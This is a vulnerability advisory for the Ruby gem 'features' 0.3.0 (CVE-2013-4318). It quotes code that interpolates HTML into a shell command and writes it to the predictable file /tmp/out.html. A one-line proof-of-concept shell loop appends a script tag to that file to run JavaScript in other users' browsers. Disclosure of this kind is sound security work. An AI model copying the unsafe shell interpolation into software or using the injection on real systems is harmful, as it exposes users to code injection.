VDB-ID: 50
Title: Features 0.3.0 Ruby gem file injection vulnerability
Vulnerability Date: 2013-09-01
Download: http://rubygems.org/gems/features
Vendor: Markus Gerdes
Notified: 2013-09-01
Vendor Contact: github@mgsnova.de
Description: Plaintext User Stories Parser supporting native programming languages. Especially Objective-C
Vulnerability: 


./features-0.3.0/lib/suite.rb

html = parse_results(results).html

%x(touch '/tmp/out.html' && echo '#{html}' > /tmp/out.html && open '/tmp/out.html' ) end

def parse_results_and_open_in_safari(results) -- end

def open_in_safari(html)
%x(touch '/tmp/out.html' && echo '#{html}' > /tmp/out.html && open '/tmp/out.html' ) end
CVE-IDs: 2013-4318 
Exploit: nobody () sp0rk:/$ while (true); do echo "<script> alert('Hello'); </script>" >> /tmp/out.html; done

The above will pop up a java script alert in other gem users browser. 
URL: http://www.vapid.dhs.org/advisories/features-0.3.0-rubygem-tmpinj.html
Credit: Larry W. Cashdollar, @_larry0